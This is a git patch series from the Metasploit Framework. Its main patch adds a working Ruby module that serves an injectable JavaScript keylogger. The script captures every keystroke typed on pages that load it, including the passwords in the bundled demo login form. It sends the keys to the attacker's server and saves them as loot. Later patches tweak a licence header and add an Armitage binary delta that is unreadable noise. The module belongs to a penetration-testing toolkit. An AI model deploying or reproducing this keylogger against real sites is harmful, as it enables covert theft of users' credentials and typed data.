From 7c1d48d6aa0231ee05b7890a51e4a50311f897fc Mon Sep 17 00:00:00 2001 From: HD Moore Date: Tue, 21 Feb 2012 04:24:42 -0600 Subject: [PATCH 1/6] Merge in MJC's javascript keylogger --- .../capture/http_javascript_keylogger.rb | 311 ++++++++++++++++++ 1 file changed, 311 insertions(+) create mode 100644 modules/auxiliary/server/capture/http_javascript_keylogger.rb diff --git a/modules/auxiliary/server/capture/http_javascript_keylogger.rb b/modules/auxiliary/server/capture/http_javascript_keylogger.rb new file mode 100644 index 0000000000..be3ea38b14 --- /dev/null +++ b/modules/auxiliary/server/capture/http_javascript_keylogger.rb @@ -0,0 +1,311 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Capture: HTTP JavaScript Keylogger', + 'Description' => %q{ + This modules runs a web server that demonstrates keystroke + logging through JavaScript. The DEMO option can be set to enable + a page that demonstrates this technique. Future improvements will + allow for a configurable template to be used with this module. + To use this module with an existing web page, simply add a + script source tag pointing to the URL of this service ending + in the .js extension. For example, if URIPATH is set to "test", + the following URL will load this script into the calling site. + http://server:port/test/anything.js + + }, + 'License' => MSF_LICENSE, + 'Author' => ['Marcus J. Carey ', 'hdm'], + )) + + register_options( + [ + OptBool.new('DEMO', [true, "Creates HTML for demo purposes", false]), + ], self.class) + end + + + # This is the module's main runtime method + def run + @seed = Rex::Text.rand_text_alpha(12) + @client_cache = {} + + # Starts Web Server + exploit + end + + # This handles the HTTP responses for the Web server + def on_request_uri(cli, request) + + cid = nil + + if request['Cookie'].to_s =~ /,?\s*id=([a-f0-9]{4,32})/i + cid = $1 + end + + if not cid and request.qstring['id'].to_s =~ /^([a-f0-9]{4,32})/i + cid = $1 + end + + data = request.qstring['data'] + + unless cid + cid = generate_client_id(cli,request) + print_status("#{cli.peerhost} Assigning client identifier '#{cid}'") + + resp = create_response(302, 'Moved') + resp['Content-Type'] = 'text/html' + resp['Location'] = request.uri + '?id=' + cid + resp['Set-Cookie'] = "id=#{cid}" + cli.send_response(resp) + return + end + + base_url = generate_base_url(cli, request) + + # print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}") + + case request.uri + when /\.js(\?|$)/ + content_type = "text/plain" + send_response(cli, generate_keylogger_js(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"}) + + when /\/demo\/?(\?|$)/ + if datastore['DEMO'] + content_type = "text/html" + send_response(cli, generate_demo(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"}) + else + send_not_found(cli) + end + + else + if data + nice = process_data(cli, request, cid, data) + script = datastore['DEMO'] ? generate_demo_js_reply(base_url, cid, nice) : "" + send_response(cli, script, {'Content-Type' => "text/plain", 'Set-Cookie' => "id=#{cid}"}) + else + if datastore['DEMO'] + send_redirect(cli, "/demo/?cid=#{cid}") + else + send_not_found(cli) + end + end + end + end + + # Figure out what our base URL is based on the user submitted + # Host header or the address of the client. + def generate_base_url(cli, req) + port = nil + host = Rex::Socket.source_address(cli.peerhost) + + if req['Host'] + host = req['Host'] + bits = host.split(':') + + # Extract the hostname:port sequence from the Host header + if bits.length > 1 and bits.last.to_i > 0 + port = bits.pop.to_i + host = bits.join(':') + end + else + port = datastore['SRVPORT'].to_i + end + + prot = (!! datastore['SSL']) ? 'https://' : 'http://' + if Rex::Socket.is_ipv6?(host) + host = "[#{host}]" + end + + base = prot + host + if not ((prot == 'https' and port.nil?) or (prot == 'http' and port.nil?)) + base << ":#{port}" + end + + base << get_resource + end + + def process_data(cli, request, cid, data) + + lines = [""] + real = "" + + Rex::Text.uri_decode(data).split(",").each do |char| + byte = char.to_s.hex.chr + next if byte == "\x00" + real << byte + case char.to_i + # Do Backspace + when 8 + lines[-1] = lines[-1][0, lines[-1].length - 1] if lines[-1].length > 0 + when 13 + lines << "" + else + lines[-1] << byte + end + end + + nice = lines.join("").gsub("\t", "") + real = real.gsub("\x08", "") + + if not @client_cache[cid] + + fp = fingerprint_user_agent(request['User-Agent'] || "") + header = "Browser Keystroke Log\n" + header << "=====================\n" + header << "Created: #{Time.now.to_s}\n" + header << "Address: #{cli.peerhost}\n" + header << " ID: #{cid}\n" + header << " FPrint: #{fp.inspect}\n" + header << " URL: #{request.uri}\n" + header << "\n" + header << "====================\n\n" + + @client_cache[cid] = { + :created => Time.now.to_i, + :path_clean => store_loot("browser.keystrokes.clean", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Clean)"), + :path_raw => store_loot("browser.keystrokes.raw", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Raw)") + } + print_good("#{cli.peerhost} [#{cid}] Logging clean keystrokes to: #{@client_cache[cid][:path_clean]}") + print_good("#{cli.peerhost} [#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}") + end + + ::File.open( @client_cache[cid][:path_clean], "a") { |fd| fd.puts nice } + ::File.open( @client_cache[cid][:path_raw], "a") { |fd| fd.write(real) } + + if nice.length > 0 + print_good("#{cli.peerhost} [#{cid}] Keys: #{nice}") + end + + nice + end + + def generate_client_id(cli, req) + "%.8x" % Kernel.rand(0x100000000) + end + + + def generate_demo(base_url, cid) + # This is the Demo Form Page + html = < + +Demo Form + + + +

+
+

Keylogger Demo Form

+
+

This form submits data to the Metasploit listener for demonstration purposes. +

+ + + +
Username:
Password:
+

+ +
+ + +
+ + +EOS + return html + end + + # This is the JavaScript Key Logger Code + def generate_keylogger_js(base_url, cid) + + targ = Rex::Text.rand_text_alpha(12) + + code = <"); + else { + f#{@seed} = document.createElement("script"); + f#{@seed}.setAttribute("id", t#{@seed}); + f#{@seed}.setAttribute("name", t#{@seed}); + } + + f#{@seed}.setAttribute("src", "#{base_url}?id=#{cid}&data=" + l#{@seed}); + f#{@seed}.style.visibility = "hidden"; + + document.body.appendChild(f#{@seed}); + + if (k#{@seed} == 13 || l#{@seed}.length > 3000) + l#{@seed} = ","; + + setTimeout('document.body.removeChild(document.getElementById("' + t#{@seed} + '"))', 5000); +} +EOS + return code + end + + def generate_demo_js_reply(base_url, cid, data) + code = < Date: Tue, 21 Feb 2012 04:46:56 -0600 Subject: [PATCH 2/6] Update modules/auxiliary/server/capture/http_javascript_keylogger.rb --- modules/auxiliary/server/capture/http_javascript_keylogger.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/server/capture/http_javascript_keylogger.rb b/modules/auxiliary/server/capture/http_javascript_keylogger.rb index be3ea38b14..673c5d936c 100644 --- a/modules/auxiliary/server/capture/http_javascript_keylogger.rb +++ b/modules/auxiliary/server/capture/http_javascript_keylogger.rb @@ -1,8 +1,8 @@ ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# web site for more information on licensing and terms of use. +# http://metasploit.com ## require 'msf/core' From de71a770857957a858ed48a6609c58881ee4366f Mon Sep 17 00:00:00 2001 From: Raphael Mudge Date: Tue, 21 Feb 2012 11:50:23 -0500 Subject: [PATCH 3/6] Armitage 02.24.12 -------- This release fixes the parsing of meterpreter's ps output. Added cut/copy/paste menus to the module launcher dialog (when editing values). --- data/armitage/armitage.jar | Bin 2380813 -> 2386263 bytes data/armitage/whatsnew.txt | 8 ++++++++ 2 files changed, 8 insertions(+) diff --git a/data/armitage/armitage.jar b/data/armitage/armitage.jar index 4850b11c107b3de4ef5292f4b527fe29c2c0e663..d3c01552abbae1f8ea01db957a9361de2d56ac32 100755 GIT binary patch delta 46232 zcmZ5{1ymecur0v`cXxMp3GVI$cb5Rcf(`_?;0*3Tf(IEq!6CT22lwC>e(rGJU+=zI zt5)r)s@~^x)uFo&Qyo{9_-1}8@eQiF5)3R76chp!)V;AzA}RyS-Crdz`;SV-c;gN8 z*P0yth85=auWo(g3bC_7b3n8iG#f-GLNopQofK4C_Xd!>1uYLTxWRCO@{QiW|F2R0 z;dO%vfVeMU#2}gpjx<>v7UO?7l7nC|Avgt=^Itz1$dr*9F8K%+31YZ|W&hW~3eg5| zyqJH9#i9P!hY%Dz14EMB4)=PT5ni+7g7BKHLIf5_HYX97AesY_ zDwzTi^60r^Um06bxgjY&N2P^m0yH^DT07A2lYP*zAUGc#A0((uft*~6_FCl*G;N3j z2mLkoGXH8Xboze}crEidI%J_I|0Toy;Q8Le-r4$po%}y*ln#R)GORkrYo$FfDE|3g z55ky%hq?J1@E(5(Vvr)BgnN-#|fKB)bvQfYkm_0qSE&o8F-P zfgBYYVppBghW!8y1w{-8vDZ?DKto9RXgFVi1KrzKP|o1? zIvy!YJ}e~W2glYc$@?T^{IC#`X>R-1L&W$V-#{Wo1TIk^fLrD>A_VlRYC~d@ zi8WdvhItJj;2)5zuRjUVtOnm9jxz&X1c(7(ISnzaT3)}h&RWO6j$>=C45i6_~#Q`&Zz=GO_SM7XKUq z9z2DAJrQvKIXo$31n}-}c-&X?=L(+d6>;Cfd%mKId-xPsNP=U2oi5b~Pcx%^w(hQHZ$frT)D8(;x_ zucP<_0JpEm3kl!|4Os-{)X||Se+jceMF==C2nT1~h>UzylW(0d^n^rLiP{ zSJHSg0P!oTq5%Axtx+lfGNioVWkvu6-alCd{SgBUyrx(DUk-4sB;emfS4#unUP+o{ z0Y0yZ$RG!OFolJJB1HgAs{9>WO99{tS&86&6~NZN=b;AJeVr+o^&n2=Z`uxFUZWc| z04A@Dc-nxiSM;b0xOqia`T!MV$ZVvo0q2l43g&kK2tw8j$lVjr1*zrth&`aIyDtWN~DOl@DK`w7my%fzrL8iNbkbF~O17tMW^$ zIV230tuhekndNkH&4J1BKx{X*{u( zl8U&f!+KGcIz2>lQ4N=*B4^0;qsFMW7vkMgsPX6N3*@}QJ(cFSOdUO&o1GhgV%P|t z$v%YemV~rU_K}~C^IpwI$ft0Q(Reg;{uWdCpXu>|Hv=H~gwSkGbp*~Amulc;`Tpmg zD!!gApfmliLfSFGJVw*{tuL=v&^1JceY z;+CztD!lx!et3Dbd@>C^9tK_s(+$$b>)f9K2#Tuc)8VvVJP6;F?axv~t6&)+`*wUL zzKWZy1T)Bc4cQ%T+{69Py$=EEpX+qA;P+rq{6_#I&{=I-9VhUVPnQu6ep5zT1E*m* zg;V;M%8W8>vP2}c|AZRo#-<|0%l>Qwe8;VfQ$+r>4*;fIthB*Ls^+UKUp{2J=ea)| z-QJQz?VeW>uQuCu_ohVIukdq50S>KiDdInU!&O1@vD-)tCJe81`gk$J(xcu;c41T0 z!1~J#NI>euU>){UVX`sA8?Mo&B_0@0sfB3VHDP)UUAHQSb}^{s zYcW#x3B{~-4K_HENi^P4B5e}wPHRX1u%NUHW*+}Yjw%5K+v^%eY>PIKMM*M4(a@av zy`QHTqgyXWpah1Li^_*Rvl#y5l1iza)hO6T;8v1hg-aNF^W5@j^qC+)k=N0j`9rUx z+84C!GjCa3TBbRe0d!0DG8e=}1Y;Ol)u@eZruw!bIxBE*7(BJtsVd&B!BAE50eM zxIIYx|8mnPT;D|^m4ZMHH5VnLAh{K?_)QfbX(v2L=sn01f zb$j4t2X?X@JZ970QA^ZT{&)_!D~k12M5UQixe3hmJI!giJh~lKgA%s0O6-b;`Am;S zwr!u*%MBRU*wow6+t#xk?CqfV+G(NpyHz&(Ix~W+b7J?Z!*fkNkY8N_*gl~CRRzYW zkznevm6~w3Lwu;mY9eh{uR$sr=j};MEv>TIvjT@RF;`I6bAAfXV?iX9LgEz8pTirz z(FCq2D*gJ=>~SH^&bJ6G^W6c*!<_>7JpIBu5kg4Xw?(mjtvwo^b-{%(EF}1Xj?M-b z(7c~n@jY<}qqY3Ff3ezg1984CKh2yfiIr%rhJD8RLMQhO&ZSHHDuo?GGnac;h|QFH zvR0BNVv3#_vgy3&L%}|H@3*(}vP00ENG~fZqHPDxX1jQ!C+ZR}%bZsr1^^YJ5BaKe z#tB^ad)Gdoj~K;qy3=si5))YDI>pfA{MHLK9>$8s4hI)ISF4i;iyKp0&mtT+j;wKx zQp(7fb}jO=)DHW_h9O!a#rN-H{VbloLI5$^3Qrw%-#xkYy`*Pp|E)jALg5MThyv?baNb^roCygpoJ&)O0H^Ke-L!UO_{fIMuLPUi0J z0h%X@#D7;oa&KjI#RYXBut`NJc7nAJ7)>=9jUl7{8~80FbJj}EhCb>_<=7C%Kn8dR z)fu<%axq3wYvyXc8#vOkm)pVZt;P?A>fBZ$pGx=KG-K;<3o!3oXDi`6GwbT2k}{a@ z7PyV0G!)W(s@y$8UQIg$dJMo;cy!{)7MR$k4|>C}q!Mb%=;NYfXc9y{+Z0jFVAjkq za%(2NsR6YhsjMiJC`-X}d~DO8(XJcY)>F4>M+UwRqp|v!FGWa-aIN(43AvIX`oq?iD>dk)42xBLTc+L6&UI)a%fh=jO5g(70M*=8+r*J(sr5!igxuo_9z0x(Tmpq0rUqppq zgDj-MZ_YchE7H72h2a}%I8{4nI=6wq_SC&P>jO8&4uuI`t)vZ4udMQzpRNrJ71`;y|> z^==Y_k1SX6YxIC6i*bk91$It;;#N`1Q3nA5QPs(@2~AB7&4LG@SxHf z^MQw$Bmm!wk2QTF))M+b<5_G7U-pUR(%=szdh6@*%`PYx7n8Z&ZRj5_?r+e{NMl55IX3f=lhOJ)tSy)N zQKVGodp_F7nJ;|Te5yXpL0U~Z+#Pgk+JE#S2=k3FZqM@jYSW73HAAVCNtzz55BEm!m#Oe%DWs0#oEQJ(82hK#?k zrJ`Y}6j&+k@&xeePrhxwxDQe0(XZVX(+my!|Y=tM>nQVv|ob3ndlbKSWpxoXTHBTUEB&gcqpJ^!17F*Z3!BS~F^6s;RZ4d5N(Kc~QU+JgMo^ zd5G=!u$4_^6nyVc!XtXirD<&%`lsY7ERt}pZIh7vGDuCCqMwSpD{%3HncG1*RX>X3 z%aO&os&)aj8$(sq+;g39np_C_HwK-Sk#JyMn1c4P#p-~P(_LBDHK)rY9UnuR{urTd z)yOSHUV>z;*kD{q@``W1E7=DEJa_ZxNrl3OC?u%@?Y0}9n7TtH(l1oM#I(%^L!`u# zxSaT^a3yhlcQs12MI_JcT$oMHu3c)^Otk~kM3AqlyTVN))E2<$1o0CM4tD1DU(e+e z=QQhYk&n^8di#&hEkYaZf{1bsjtx;`(kAJ=aO0I!0n80T9(%ck8ov+FQgWK#{P!=A zxVSvD;_vmf2y)8=x%&LwD+Xx3J~mBP8|&#ln%m=Ql-(4}_40<|LsMdXQv8O6Ex%s6 zTp(=VHF)e)AvPQu9|{PB68rhlb{Q6nnA~f3rR_G`Z+C3vxupfJHkd!gwRUS0)8ymF za26H_y{t{=aFu-R86#`7Bkvxn4n2Ge0XLlbA9+b?Gll}TDYob&! zFX~N?0sYh1z}pRM?8rKKyZJJyhdXinS zW(LZ4BM>$}i^n5YW^+=_4}2kx-=hCPMMRpeS`oU{Af(RwB$-CKVXMC@Go*>3pd5vu zpa}j6!v&cp0T6%ye{G$c7eRh*pX4FxAL7t&$~7gizDCN!hSA7V;2_G>ZgBV{Bn~O3 zXQ+FyRyL>U)V-@bitec7imbcsY)xzQ_MSHeH@8-|GJQX5IUCIyvikJr13TuP zMpQqO_1n3USYEf`vp>^|Vvt($u7|!r&j$DNOa$;`ul~*{LvUbx`OYXB`6?>z z2|9%RYFhMWgDQj_&%)O=iU;&?$3Gg#p{P$B}Y3h?4`FHd4tgwhmis$XpqC3{b z%O;+)!E@t~^-Hb#pw6>xbd*06YOLyTb7H?Q21Nh#Zm2!a{N%s8QxpAD-vzvw_9YD1 z-TqGW#4px3yzfr_vbq7hv#*c+bFd90dfTxLeICzxOo|x6Q&Ha7uE<0Y^qv$BKJyo(;tPVGF}Z3y+68%RSRKa2 zDC94?zIh|!hRfQC1y6xXXk1_QGB6ab6ArMt7V7n`H9O#(#ql2Q4xne>bt-;gOfJa_ zy1K3Sz$@;B!ZRZp*s4>TS|Jfm#F7;;_*4C!2xwCl5OeUJR}!Au+BZcl?xq|mj|fIk z`%C(5)Ta-T;@Y?s4x*Da{a@X_IkxAWLIt4E56(qF;b}xvDE!TskTki;CS}AjIdpB_ zMmo($`r-LM;h9^d_&&*Mq#IgV7v*SI<@TaF+ggD88IQco&3AwbDSwBOt9og*Mo}I5 z5TI{fChK#7D6gEW-7GJGLv_I};n&1+kKoi5f|wd%9x^A#^0>yPzCvA|AuB%VBHeaA zEM=NXSgm|)J&sn&NQE;4LQYgWlsebIq5E(IB+>CS!h%JO$yBJnhb*S7dDLdNW z50T)B4D?x4QD_1LBw$cFNSbNuZq#E!x*g^Q>ld9-oixot z7Kr0@>Kxx#2+)TYGOlP0yD4VoH@P2;x}v}Fah%liM=QhOTISD^IaXQ85{m0_(&a__ z(g=m5>UxA>Q6ixu$@L5o5O?X*tut;=-y-1W}9S)BRjGlda;!@P`eVx>^C} zPJv!$thXO1I6KI`4@j7B{$5dEMtY1lqbYVsuus$pmNt@G&YXQqpN8S3$lOno2%qio~HGGguDLLHt{waG#o4NsoBGJl`eKK&gzO#j4jZeQ;}A3ND;ojb(FOPLtB z-rU%^sz_ryAbAoMzW>{`L9hvPZxzQeKB98bylYulI3x}mg)Tq>_`-Ma{R)-iS4=$} z$W_fg+yi>>msRo~x%DiEM4=J&7?s)LGz!yn2S)r1hYW-FQ?^&{q)6X?#dY{n@R?&a z@sL4_v`RPQkO1yseac&zx{YoD)3}16wm_Gd$?B_(b;cF{!-~42GTYu8I&>^HKv4nv z0keFjxu+@zWnY-W3$UQZ94AK!EjcisTxE$`>5H$u5min^f0zZP8>i(uBKBNm21l2+ zqfSggcZra06}NV;b`=v7r?d<9_VDonJCF7EC@mFSEsf+q3NN32|Be($jFK+n)2e#s zrbSzXy^ep@wQodE{kyecr)_qa(5C(J-lgPyWBB+p=jN42) z+c@D==gw_|53Z3-Y#_3fsPFqFyRY}GnPX8_RU)Kw16oAVi);Ue*NN{uR%TxKhjX@O z#(tv4@msycg$?t2IZCaZ>an2txldZiEIH+Y&c6dCf3bM-C8d>*X)L37R+o=y?PVQ8 zdlnS1C3W?cv`Pbw9e%5m*+g_r2x-&!TuL zU|ySnp(YfTGUryE$x|f+`a^1YweEcSp@Dt1`uq;Vnzfe~N1_pdDRFGL)PaD=!dxv| zvaaoo+q)UbhiVU!Me7vyGB5uW0utixOfSfROdZl#ivAhzCv{_GQ!M$K5ntX z=M`>HW}uEhRzP=rF&cuj|UTp(0%VXPbI~E}=FXr*k zCxMcDjBjqR+YGAn1{K`}dOUTC%i7?bGlAo3K~@rbJkWQkRmM@{l82mDdeR7YsvTIV6CNGK6Ulxv*f77@_gbr^ zLMWc!%gGX4FY>K|=m;IfVEGjvqhK}$`pNGai%MD2l*)mYMpaHDa|o|uSo3QC z0aa>H__;9)_~?Iq%dV9n(@(S=POk=+NVdFqwH(>n%dV-b(>g*Mzqey!wq*X@G5srp zm{VgNKisN9GP!|z*p85(B9qY1B(|Z2^$EWp%)+in9i=<7?5b7MZ-%^y%jfRKQX4y?Nfp=d^9{L}aXi<^zE58~q zG`qT$BI^+8tUt6$9kof`3_FrPz>T)NWsi-R4=?&KWWqSzfps%1UDzp@-CzpqR|+h} zGmJWSyU9l8Lk_o8OGWCIr)jEF9mByA4xGilRB=vp{U*v3)J%ReF!FZTVHyhcH`Fib zWj3Yym4~H3a9RBv>@xL`%-G{u@6+6R)tBfXs?lS;VtoQ-ZkjXh2|w*)jo~S&82Y|@ zD(63azp)~TkFcH*m^VB*D7;_xqw|25uB>Sa81#(TKE@!lPiY&b@GAu|K_(<~`=1jL+d# zNA45;+VFf+6m+8p8cafdfFh)936Aq956h z9`02%zpzbR5&MTcM+y!k8K`Qnq&i52tj$kz-g~@BzSPSL9K3=$c8zNtBdh#@3NDmj z&R2f$KNx4;LrFe4>9qeOUiG{JG>uh~;v)D=ceU(c(n!(gi!t@<4eP>O2|4`0ZpiQ@ z&zIr5Op?3z$ujVrwh!Y}k^Hq#I8e0j^Ihp~B76gdvSat#QOoH6h`D?-HQ5_j!qzSM zMLf5Iu9yRLZ0ptXku7QnakfgCc)-7fag#2+C-4D!HlNWkKQmjB1|4C{1=twY+t5%Y z$YA4q$ZzULbDh@MDZ)@{6so1vgEHtpu@;f4C>7M%q5)Q>k$-76GTfjEKfr->gd@o!cAcsFv3!Ft8$v3RJb(J-9djR!{`z zIR`vAw<|u%)hVUlk($Uh%N*cN@N zm_J*e>`TTF~Nxl|(`qjrCu?-~Ye3uoMH5SMv zFL-t$BGgeIBX`!A=}ESY8r3C~eyTND3&vpZ>FIo2O8d$h6+Ss|g~%D8NayqGO%B5I z`o8<>OU|EyN8r?Vj~BRS!&}p-cdakz0acGLQ~a$jX`R#0FZ+J0FXCc{f$`zQvLiQQ zVUsADGy&$;U8-Ac=U;%$;x7Ph#U5XK0l#w{8>u=F^2rNb2C1Rd{let zEyns`A=6B95f9Ncyz2zVV~fDJji>F{E}Rd4)=E(fj*hUxj$$2wCeIE?@<`c3qg#a3 zXu3>%nv+?$%&d>?_c4_VTfeoo@^Jk}F5_HZHy6P8Q4nUNr4X$I2#R$hlT61XV4;U}##V;*tg!P| zvwZ)n_$6Pqzumh+k!ZyOJ0j%@I~r1{N3DbsP43xAgHdmR z7(x~-I>cTDY%t6h7#EJ(h zvcX5YS@aJ&VtsXQ@*=Ye|FkUdB}fq0&z!o?iZ%%Z!;f!{t z82}no^Sttbq8!V3G%^vN7Dxt{6AD`-zp-$z%fu~+h!y>bF?avFgT1*apdyl{t?l`c zDHqa`c(bEqM`Ef7_+3;xmAqMJXa+7#k|~|^U6Rc@FdE60vz@rNV-H$4lAoWF@xZQK zlL1XVd%%gPEg$H#Cao1zU?|nd9=GFNT=-^Rppo1HM>!G@gkNqJCH*$T=OcT%Y46@$_dO%GcU~R!IEQeH3e3g^KvHE;wAJjE#W?OmG>b87hN0Ux;NApS1 zjIq5sB&}+qX|ci|pVcL$?4x)z+Ia1|lEsfifxu^!>-;@4lksT;UrOe~SPwm%p2wtt z;B1ay4)%M?b|tZJ#)F8qt9Nz}%mWtBS$Q8f#4QQw;WTIsZ>e zPtr8h2lTDI@iV>gQ@xKz?7%LJi%+DTh@gY zkwDFJt~ze^WFr$acN~o+iP6u;y7Y_ns82AkQ|RUF0Vy)2GX<6<*8QKKjjqN8^#hcw z%~Z^s0gduk$ff%WKYz4}7l#;Flgw`Gi|h$nf2_V4o-&+7TKlL`q$N zwfm5h!FB1!(~x{rMtfb~C~>k6P_A}hXhM!-J}QGz$T<*@(+OR$iE_6lL`=Vk%D?U-if>+%Xhs zw;XpYb04$qtw1jEIrpJtGhh3}7zW%iDMcePK4oM*&W{oQWsxDRl2WJy4Jz6HhGV?e z(5UX3;>Y!n4vkF@OF|wm&d41NPvL;Jhm;va@Gj&+85SfsIQlzpi;pqcE!u{h)-A2~3ZRLSle zTS~h@a{W*nV80!HoHB$MB^Oy~5vFe#MLUakk5&ynTHT|dGc)2L`g>7b?U3xeekgk# zShPvScv51y&%Z`_Qb%wos5GB1JIlH-zz93%tT5|T8{Fr0p_x=z;ZBl?FPSMbNEBgR zz@%D~B-SrfmPrwMeE6;fIuU5+A%DJFbQB8}dz)$0pcM3hG4bu~eKm7%?IR-CKzsV^KR$6F1|y5CbwU@&EC#``>Y zdQHQAU!}8%)=z!y^hC^4Var>lX(<#_m%P>b)uQz9Ba!jp#M&yT7u6ToK0|sov5k9r z*RPB)?-nUl8)Kt)Lljw?_TZi_dtRsAg{f!Atg>U5mH=3)w0~r#iLbF$Gk1&{HkuMV zcX$`Y&l#PR#ol8LJ+)j9KF&`n|89C%_Pt)tnG^W2(Es1uSEQTA55)CB>3X{=UzW{NFW{qBF& zs@hT4_<6+v!7wraeZ|l$OAIiuV;;1t5ipRZdcb!DwwA#M_P3q>E8$T#^aLh;K6AjIT z?S!dKDeUB~UU4M1T@CIusKSpu^>|1`lXb+V4d0QCPV)3<+`J)aZfLJvk)O2WI$^%` z)Tj+GJgziLY$S0K>-4X{-)-_8$Q2~aVV7l;^@llj0$lGBZ?f}G5_A%-xiasszG-Vo z-n}$#K3rD;R@{?0*wQ$xg-sw0?5#4KoE43?gmm^l+&*EPY(`xBR7va;BcP{b>x+Yn zP7yYS^Xb*KtNTImOB&d$-R~$#CFUJsuBSGegLJy0MLx)$UL#?mUBuPx5jXwHcmwKu ztatLpAY6}$zgfTaOOlHqFB{q5eG+SZGW`8h#)cIP6nJ-?>uN`?KK4ly{@vzAE<^s# zXVN@BL7gwW#yZBDQ=r^qCAHFheT}AfFsXi8S1Z3sg&ggt=aqI$^jNY6Rsn;7Z?_pg(D>|5!`6vAXF% zq~MGL12wO_0!PjSFwVS`9z_6K&ujwFo)b6Zt`|E$;hk)G?=uF1M7M97)7J;$PNmlJ#CAjOwVZ|I zx@G8vN~qtMr#T|jCoDBgZy)JB_D9xu%6q^)04s3a$x;kWh5hEIhvfq~(-*Wn-hwGP z375>G7J;EoS@PetWbfBGUzo?K~+WzhiB_DJO^rxmiKMHA)=b9qulOT>a3MfYDm z{dv!u{SF6DgLhGkRdxOF>L{mk^?+aa8Bz6n-+`Lv!-*=eVzu02t>l#MkJ!II+rlG2 zdN9EqRRCp3-!B-Y0WkmCAH3TH5Pt17rfCCgLK@P+2)zIkB1kK<{Tg5v(mX7&4p@F| zL?+(^kiH_ZEx^y$)?$=X0K+RC|2bgd)r<5S0FMeG!F~aZLP)k>06vfwb+9Q60xF~z z8RUY3umN#uq9S-eI;lZJI0z#UQ#vlf``5W45+S%j28akCLHH|(e+B8UApaGVzk>Q# z(EbYgU%>zekYGMSTI#`m=a|H=)5*BNtbc9PR=dYUcn{$>u*GtEWgW7|0uR|^V-rB^ z>%rLGe;`Od2uIWyf-+Zecp*#?Q)@VX1s6QEhNlI2jR(wtg0EEpi3$Yc&sIZ_t_=an zYrLl|0oc=)(Cal-rymI0Rv{6U>O^&~HZvolHYnyhu>RQRy_9a=HA9xkwqHPxxnbI$hh@>^V|O(Y>(NuiSQ16t@T2e_|BLJ z*`R^ST$UE8SaQzRKGJ3(fJIL)Z>H!QFbwODXrT0^&&KWf8{l=n9q~mmZx?I)XfEye zIJPKO-?5h~=o?Kj6uEf3)%hsCzQrf61-%1-VZ*u^;Z6+u#5BwH4TS<|qESkOr+|&` z!M07my6SB=PCC*L-(6aahn!Kh7zMpdjf@nfTQ0HcndCZkoqZ2!+<~^MG#=QZ!%}=( z`;GOtjokg_TFLL;V@}_vP_toeO#M?>r0^RNX zI`~Wp$y_i-j`YUXVsW=ycgQeniCEX_x59d*|jJ4)_p*ar;Px_{Q=HAH;ull zG0}CdCZdbQkw^`axRh}xEq3$%urDdCnL>tuNofND6OtE%Y|}KHD#|UkxSaHAXs(D@ z$cz&cFRLKjrw7Xq^06$8EV>#dP6As{Es@v6=LyS8H3UxVI8pL+I4DUTFJoB+aBmrY zmgkB9J-CEOf1vXPtx3md@`Bdhl92;{btne*qrOa!Dcx*ia=6EAGz%F1as_e;&>dch-M?Dr^em(P9Gu+t66I zOIg0dnf6I;N|`a|(kYXmm$vNKyVar6Oe9ova$`7+)Brpwz@7(*2f8Y|WDBo*N*&1jM>LhKkW| z6u=9&Ell|7o_o%sPL$eo%2%W{^zIirvv5*0TkN;}-EiAX&a#J~K=M{;A?WYO^6;EG zu3<4K3f$--UtwWT2Hbca{aK=E@_wwF=P@9v-|=Q>+RZQsCJ+HMKjb3`UtL3+P5=^f z3VFW#>I#v!qJZXyVj3yA`w6T_Yn@4}B7!>tNjvZqy;uLlq2+bdB6?HHbB7ep;2StD z9E$6cX0S&uE4R%muw-!XaHk_3b$Xr-E#SPWKC~mTnR})SUb^4b#v%GM@x!5LoCKt1npzBgjSy zh|;MU?`DYFEMvNC{dRK9tJ7JYIj1uUfB5yF2j=OUIm7_PdrHyNU#)wsfarjfx#Lyo?H$6uAF9vJAUbOdKp^1k|ml84eK7-NC>p`|S9ozE7jZHHF0xJVUQtS~(sJqr|I ziBEuGgf=RvGuoEL1CO}@)lfGfsHw?>qAEfgK%jMt`PZdt!L5vXBo-v2Z~{?_d#O(1 z?gw~R-cM@Np1>LRVPkKdMn$UysE1beO6KqLnkgEfv?7{b`LB^}*JK!tI){PS=tSsw z(oVGLXqVCpcb8=s6n2$F=u-U-Icz(ynxE6%2Tf@#nXE4wJQ&MUKJ2hA;VNzAJs!q2 z?}_%^JaKWf5g{Y#9?zS&ZvlcGJ4iK0<5c69OJJ8yliY`$cxoEifk+ek(^p z?|-IjRIhw&+$5IOG%Ywb_$uQ{rM%+lj+5L^e;fE&conJw~qDLP@HZyzaGM z+;n~t4S%0a-I$BPxK#UsnKgxXOv=pXLn3iIW~Ab*fwaFm6_cKDAokyGQm}#)83^*~ zC3stnEbsNHHcXdn3Jv&Azgo?D>X(JT-E2$9P*7NZ-(hyQ{9y0u;m+>*!NtnulGDyQ)poYDntN3a5wKtVv5p{QHLc-5_%Hw_iyXxj$24`1}!` zPcK{oQT`AP3+4dPwYf^%(ZPdO5}u}QS(~}UNfxI+% ze6z;qV7H-ACy5ew-9i_UUaFP-v%&-Hr>3H zzZ4nY`E)3dXI)UWPR3V##N_h|e6GpvYf4IMRk-5`k(i#v#^Y3uK~y@G0-y#MB*L|= zg|es!%aoHX)vEADJe&U5%I{uoLqhiq(ywbaB2P~R(n>oZ)LRs28ZM|Ha7os$u(XHm zImf$Az%~W0=h?mBUEX^I4BqO-{dOw0!yEjKX_6T*VJUdVK&!J4U=@?3GuynP)*#7Q 